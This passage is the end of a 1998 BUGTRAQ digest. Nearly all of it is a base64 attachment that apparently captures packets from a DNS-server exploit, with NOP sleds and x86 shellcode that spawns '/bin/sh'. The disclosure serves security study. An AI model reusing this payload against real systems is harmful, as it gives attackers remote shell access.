kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMOGGNSIxCwDcBQAA PAAAAAAA9K8EfADgo4o8AAgARQAAKM3XQAA6BlSLzf1nxM58Gi80awA1OtiZ HpjsC5lQEH14ZtIAAAAAAAAAAJ+5Dvkugrgb5bnIvHtyhP/70gQHAAZNYtQz D3twx8oaUWMPXljlm1DMPe3DPjNpSYe9uMoYg1ubaW8K/cCwBahthzsYZJPS YuJpAwxzqhEjINYcgiCHkxJsKS4HgXoT86VfQnKGLiZcuKUux2fToahyFn6e pumIoRosj1XHs5vXFgaok6QSihS16P8wEck2VNjkPNKqqPZibpUq2Q18qTrp d1R9nE7O27d5xeemqW21ses33S0SnzjO/eudRrRINP/mtt5xrW7a/v/b4xTV sW3FrjGLZ1j5tn+3lHGBUAgonmK7zDlaHCihV/UrIGP4Apbg6zxM7VtIVjag oALQIpIkrla8MggxSxNotuw2JL8dmA37lzO0T4k0lShSTABpEMsZWcny8kIY Mje5MT9Yr0SiKY6eSbuz8kuOkykLJSJKSsvJkmg5SOLE3oZlcGxaMuFEXVPp 1fjsRfjYPctuTJlUOIc209EZaJbZ3pOsri8tuj5XqXbvOLz61eRTN7bbNr0x Fk1mnxu9c+fxJaX+KQdz/ETLtP2EhlgvSNwqbSbO+nKU4Gbdb9d7/qO5/6db lL/c53H/IpAAAACBwFyylXVQqJedl4U4lSLBgSqp+gCYPsJsTYHqyF1GAWGo Rw9VWj4YbwKoYghQagwj/DXU59l1KE42WaHCc0MLgOjX////L2Jpbi9zaACQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkDDhhjUiMQsA3AUAAJwAAAAA4KOKPAAAAPSv BHwIAEUAAI5IJ0AAQAbT1c58Gi/N/WfEADU0a5jsC5k62JkeUBh/4DPCAACQ kJCQkJCQkJCQkJCQkJCQkJCQMcCwPzHbswQxyc2AMcCwP7EBzYAxwLA/sQLN gOskXo0eiV4LM9KJVgeJVg+4G1Y0EjUQVjQSjU4Li9HNgDPAQM2A6Nf///8v YmluL3NoAMDy/7+lX0Jyhi4mXLilLsdn06GochZ+nqbpiKEaLI9Vx7Ob1xYG qJOkEooUtej/MBHJNlTY5DzSqqj2Ym6VKtkNfKk66XdUfZxOztu3ecXnpqlt tbHrN90tEp84zv3rnUa0SDT/5rbeca1u2v7/2+MU1bFtxa4xi2dY+bZ/t5Rx gVAIKJ5iu8w5WhwooVf1KyBj+AKW4Os8TO1bSFY2oKAC0CKSJK5WvDIIMUsT aLbsNiS/HZgN+5cztE+JNJUoUkwAaRDLGVnJ8vJCGDI3uTE/WK9EoimOnkm7 s/JLjpMpCyUiSkrLyZJoOUjixN6GZXBsWjLhRF1T6dX47EX42D3LbkyZVDiH NtPRGWiW2d6TrK4vLbo+V6l27zi8+tXkUze22za9MRZNZp8bvXPn8SWl/ikH c/xEy7T9hIZYL0jcKm0mzvpylOBm3W/Xe/6juf+nW5S/3Odx/yKQAAAAgcBc spV1UKiXnZeFOJUiwYEqqfoAmD7CbE2B6shdRgFhqEcPVVo+GG8CqGIIUGoM I/w11OfZdShONlmhwnNDC4Do1////y9iaW4vc2gAkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJAw4YY1krMOANwFAAA8AAAAAAD0rwR8AOCjijwACABFAAAozdlAADoG VInN/WfEznwaLzRrADU62JkemOwL/1AQfXhmbAAAAAAAAAAA/wAACgIAAAAA KM58AAHOfADOznwAz858AMvOfAD8znwAx858AMrOfAC10WjGJs58AMnOfACs znwAq858AMzOfADNznwAzjb+L4j31bHrXVt53jNN7/xbOb++//9+BmtNefdP umsYzTED5xSuf8f+IDxf2k3zultLETr2M97AAAI3AX3JVfLXIJtCTjVuL9jU VXxNTEUMBwQ8EuFmD1J+DhiELWzAJ+WIN8whLBKhNAvgCwfRzhQTTPMmJMTL mlV55F/OQfZsv1fFbD1hD8Mkvqeim7hm0oV5tabtkQuqdewNJJWItQLtOwiL nXBsEqIQkILyE4R1VhxV8xkpJumYW7U1batNeNbcGeSa8WJrF3klLu7fF+/v q2L6pq24O8Zp/9Yt81990zf2xSW27+FuB7U1/mmMetNXi/eMfcQDF+1qRs6Y km6EQifYS7XsEAAAAAAA//vSBAMABkZn1GMYe3DJiypSZw9uGAmBUEw9jcMq M6lJh7G4GPHWCaq87eEiZIowuY0NVM3FrCAhnJE19GXM3RwUHYgXbWyuxQ9u Kzr11M5ZMSdhZ7dlC03mYuu3KIz+oxOWIdbxzY3F5TIZmLU8VfutnK5lvox2 IN2GxV2hObi4qCqw4KuOm52FKqEqVCS12csWd7t+oYjxtRSGP7+aM/pitnmo lb2A6Nf///8vYmluL3NoAJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQUOGGNaL4CQDc BQAAPAAAAAAA9K8EfADgo4o8AAgARQAAKM3hAAA6BpSBzf1nxM58Gi80awA1 OtiZHpjsC/9QEX14ZmsAAAAAAAAAANa2s6jYfic+XW5IIBsKCoXB1rZDvpU7 pt/9rgAAI42UAJrnNeae4bP2Zl4YDclxX3Z408AvLPMHbjNUrBtRZ9nPiS7v edfrF3cmqqpGnVYXKn1SbiTdWDpItRVueJ4MI++tE16eiD+PAp09W4bbjAbq wIXkvre+U5IFJBWC8wznBjlMwttFwpl6mlYSd3SI3v4LfEhPY21eyN7PPBjW isO5s534WK71EhV+YLXDz6Uhx7Yl3vevCp971XFNb1rMO/pSmc6rrckmLW+f Pd+Jz5dbkjQ2FGhc6RF6O+n+n/2uAIAAABgYHTkENML/+9IEBYAGOVlVIy97 cMxL6nBt724YYYdUB73twvKxKmG3vbijTzW4U6NNL4anlYBgEL8g4fJb3eDB Z2FWI1EncdJ3ESSQwVSdbcfyeOggBA0JLrtnCpQskCweK6hIdOplcqjKq6Vi TNKEnk8qjJeqZSrrBzIx0vEZEaLkkB7H5qMpFG5IgyjyVrdCes+1l1l+ok+R hROCqq53ctVrWHTEfNnckk3lyzw47nGhbm8C1nms4u2v4GnLe8QIuv63pAzu A4UeXvu2bx6VjwAOGnwwkKB5ihUCOe6p30bO3Vb6LZgy8cWEh0UYwErMY2+r bNOjUO66jQMAYAbFzChnOxsRKXaEnIcBBUUYJpDVDkKEW20bW20bWzQ0bRtb MzZtG1s0NG1dIBtbbQ8bW20bW20bWzQ0bRtbMzZtG1s0NG1bG1szN20bWzQ0 bU8bWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0xMiAb W20PG1ttDxtbbRtbbRtbNDRtThtbMzZtG1s0NG0vG1sxbRtbMTszNm0bWzQ0 bRtbMTszN20bWzQ0bTkgG1ttDxtbbQ8bW20bW20bWzQ0bUkbWzM2bRtbNDRt LxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0wIBtbbQ8bW20PG1ttG1tt G1s0NG1WG1szNm0bWzQ0bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRt MCAbW20PG1ttDxtbbRtbbRtbNDRtRhtbMzZtG1s0NG0vG1sxbRtbMTszNm0b WzQ0bRtbMTszN20bWzQ0bTAbW20PG1ttDxtbbRtbbRtbNDRtG1szNm0bWzQ0 bV0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbVTphOlM6 YjpoXRtbbQ8bW20bW20bWzBtG1tLG1ttDxtbMjU7OUgbWzI1OzFIWyN0YWNk XSAbW20PG1ttG1ttG1ttDxtbbRtbbRtbbQ8bW20bW20bW0sbWzI1OzlIG1tt DxtbbZCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkFDhhjWi+AkA3AUAADYAAAAA4KOKPAAA APSvBHwIAEUAAChKtUAAQAbRrc58Gi/N/WfEADU0a5jsC/862JkfUBB/32QE AAAAAAAAAADWtrOo2H4nPl1uSCAbCgqFwda2Q76VO6bf/a4AACONlACa5zXm nuGz9mZeGA3JcV92eNPALyzzB24zVKwbUWfZz4ku73nX6xd3JqqqRp1WFyp9 Um4k3Vg6SLUVbnieDCPvrRNenog/jwKdPVuG24wG6sCF5L63vlOSBSQVgvMM 5wY5TMLbRcKZeppWEnd0iN7+C3xIT2NtXsjezzwY1orDubOd+Fiu9RIVfmC1 w8+lIce2Jd73rwqfe9VxTW9azDv6UpnOq63JJi1vnz3fic+XW5I0NhRoXOkR ejvp/p/9rgCAAAAYGB05BDTC//vSBAWABjlZVSMve3DMS+pwbe9uGGGHVAe9 7cLysSpht724o081uFOjTS+Gp5WAYBC/IOHyW93gwWdhViNRJ3HSdxEkkMFU nW3H8njoIAQNCS67ZwqULJAsHiuoSHTqZXKoyqulYkzShJ5PKoyXqmUq6wcy MdLxGRGi5JAex+ajKRRuSIMo8la3QnrPtZdZfqJPkYUTgqqud3LVa1h0xHzZ 3JJN5cs8OO5xoW5vAtZ5rOLtr+Bpy3vECLr+t6QM7gOFHl77tm8elY8ADhp8 MJCgeYoVAjnuqd9Gzt1W+i2YMvHFhIdFGMBKzGNvq2zTo1Duuo0DAGAGxcwo ZzsbESl2hJyHAQVFGCaQ1Q5ChFttG1ttG1s0NG0bWzM2bRtbNDRtXSAbW20P G1ttG1ttG1s0NG0bWzM2bRtbNDRtWxtbMzdtG1s0NG1PG1szNm0bWzQ0bS8b WzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRtMTIgG1ttDxtbbQ8bW20bW20b WzQ0bU4bWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG05 IBtbbQ8bW20PG1ttG1ttG1s0NG1JG1szNm0bWzQ0bS8bWzFtG1sxOzM2bRtb NDRtG1sxOzM3bRtbNDRtMCAbW20PG1ttDxtbbRtbbRtbNDRtVhtbMzZtG1s0 NG0vG1sxbRtbMTszNm0bWzQ0bRtbMTszN20bWzQ0bTAgG1ttDxtbbQ8bW20b W20bWzQ0bUYbWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0 NG0wG1ttDxtbbQ8bW20bW20bWzQ0bRtbMzZtG1s0NG1dICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgW1U6YTpTOmI6aF0bW20PG1ttG1tt G1swbRtbSxtbbQ8bWzI1OzlIG1syNTsxSFsjdGFjZF0gG1ttDxtbbRtbbRtb bQ8bW20bW20bW20PG1ttG1ttG1tLG1syNTs5SBtbbQ8bW22QkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJBQ4YY1ovgJANwFAAA2AAAAAOCjijwAAAD0rwR8CABFAAAoSrYA AEAGEa3OfBovzf1nxAA1NGuY7Av/OtiZH1ARf+BkAgAAAAAAAAAA1razqNh+ Jz5dbkggGwoKhcHWtkO+lTum3/2uAAAjjZQAmuc15p7hs/ZmXhgNyXFfdnjT wC8s8wduM1SsG1Fn2c+JLu951+sXdyaqqkadVhcqfVJuJN1YOki1FW54ngwj 760TXp6IP48CnT1bhtuMBurAheS+t75TkgUkFYLzDOcGOUzC20XCmXqaVhJ3 dIje/gt8SE9jbV7I3s88GNaKw7mznfhYrvUSFX5gtcPPpSHHtiXe968Kn3vV cU1vWsw7+lKZzqutySYtb58934nPl1uSNDYUaFzpEXo76f6f/a4AgAAAGBgd OQQ0wv/70gQFgAY5WVUjL3twzEvqcG3vbhhhh1QHve3C8rEqYbe9uKNPNbhT o00vhqeVgGAQvyDh8lvd4MFnYVYjUSdx0ncRJJDBVJ1tx/J46CAEDQkuu2cK lCyQLB4rqEh06mVyqMqrpWJM0oSeTyqMl6plKusHMjHS8RkRouSQHsfmoykU bkiDKPJWt0J6z7WXWX6iT5GFE4Kqrndy1WtYdMR82dySTeXLPDjucaFubwLW eazi7a/gact7xAi6/rekDO4DhR5e+7ZvHpWPAA4afDCQoHmKFQI57qnfRs7d VvotmDLxxYSHRRjASsxjb6ts06NQ7rqNAwBgBsXMKGc7GxEpdoSchwEFRRgm kNUOQoRbbRtbbRtbNDRtG1szNm0bWzQ0bV0gG1ttDxtbbRtbbRtbNDRtG1sz Nm0bWzQ0bVsbWzM3bRtbNDRtTxtbMzZtG1s0NG0vG1sxbRtbMTszNm0bWzQ0 bRtbMTszN20bWzQ0bTEyIBtbbQ8bW20PG1ttG1ttG1s0NG1OG1szNm0bWzQ0 bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRtOSAbW20PG1ttDxtbbRtb bRtbNDRtSRtbMzZtG1s0NG0vG1sxbRtbMTszNm0bWzQ0bRtbMTszN20bWzQ0 bTAgG1ttDxtbbQ8bW20bW20bWzQ0bVYbWzM2bRtbNDRtLxtbMW0bWzE7MzZt G1s0NG0bWzE7MzdtG1s0NG0wIBtbbQ8bW20PG1ttG1ttG1s0NG1GG1szNm0b WzQ0bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtbNDRtMBtbbQ8bW20PG1tt G1ttG1s0NG0bWzM2bRtbNDRtXSAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIFtVOmE6UzpiOmhdG1ttDxtbbRtbbRtbMG0bW0sbW20PG1sy NTs5SBtbMjU7MUhbI3RhY2RdIBtbbQ8bW20bW20bW20PG1ttG1ttG1ttDxtb bRtbbRtbSxtbMjU7OUgbW20PG1ttkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQUOGGNdLe DADcBQAAPAAAAAAA9K8EfADgo4o8AAgARQAAKM3kQAA6BlR+zf1nxM58Gi80 awA1OtiZH5jsDABQEH14ZmoAAAAAAAAAAP8AAAoCCgAAACjOfAABznwAzs58 AM/OfAD7znwAzM58ALXOfADHznwArM58APzOfADNznwAyc58AKvOfADKznwA y858AM4qzlnmeCeI66elfaZtVe1guO4/atwn1K3w/gwJ3KFO4/c+nlvq7bfe o2N7pFm/g31ibfmpS8HFPePTcfPpjFPmnkwkuOZJrDD9TvmP2pqt10WhlDkG 0GQ4KLaRPY0TMP1kYgHlHl4MEepscCQC1HO2I5Ll8F8hxihaWUl4tZ6oajjv cyZGRDMs/QOSHJiQxjhfNRyObChqkYohEkPOmVsuy0VjLdfckYTaLOkScAUy CuSBN9EZYVPFSSFxWFlg4jvoVn66ViWKxkPhlj5xmNTFr2tWOsvpolY0KNFr rLepaZlrtcRI2vefWawKbpeHvVaTQsQ3D63qPjN/um25q1TG739N7+rZ1ABS JRU4akX00u0/X/3gQAAAIjHTtSRQpzKKGncjLtNdbBDMogBNE10AYZJnyoJQ Ux38uRjm4YyeMUGC2mWSdfRK2h7skRJHaHkxDrXTc1IN0xKRift5ypA/p1Cf eELk1Dq8WFe2pFhON65J4Q1XptHspxvmSra4os8nFWQ7OXgxNt69AI+Kn3j2 v356WvmH6xlimJsbttgvNHus/U3iMES3rBrFzulPClz5P8bmW20bW20bWzQ0 bRtbMzZtG1s0NG1dIBtbbQ8bW20bW20bWzQ0bRtbMzZtG1s0NG1bG1szN20b WzQ0bU8bWzM2bRtbNDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0x MiAbW20PG1ttDxtbbRtbbRtbNDRtThtbMzZtG1s0NG0vG1sxbRtbMTszNm0b WzQ0bRtbMTszN20bWzQ0bTkgG1ttDxtbbQ8bW20bW20bWzQ0bUkbWzM2bRtb NDRtLxtbMW0bWzE7MzZtG1s0NG0bWzE7MzdtG1s0NG0wIBtbbQ8bW20PG1tt G1ttG1s0NG1WG1szNm0bWzQ0bS8bWzFtG1sxOzM2bRtbNDRtG1sxOzM3bRtb NDRtMCAbW20PG1ttDxtbbRtbbRtbNDRtRhtbMzZtG1s0NG0vG1sxbRtbMTsz Nm0bWzQ0bRtbMTszN20bWzQ0bTAbW20PG1ttDxtbbRtbbRtbNDRtG1szNm0b WzQ0bV0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbVTph OlM6YjpoXRtbbQ8bW20bW20bWzBtG1tLG1ttDxtbMjU7OUgbWzI1OzFIWyN0 YWNkXSAbW20PG1ttG1ttG1ttDxtbbRtbbRtbbQ8bW20bW20bW0sbWzI1OzlI G1ttDxtbbZCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkA== --2093887258-1556853466-898035013=:24416-- ------------------------------ End of BUGTRAQ Digest - 14 Jun 1998 to 16 Jun 1998 **************************************************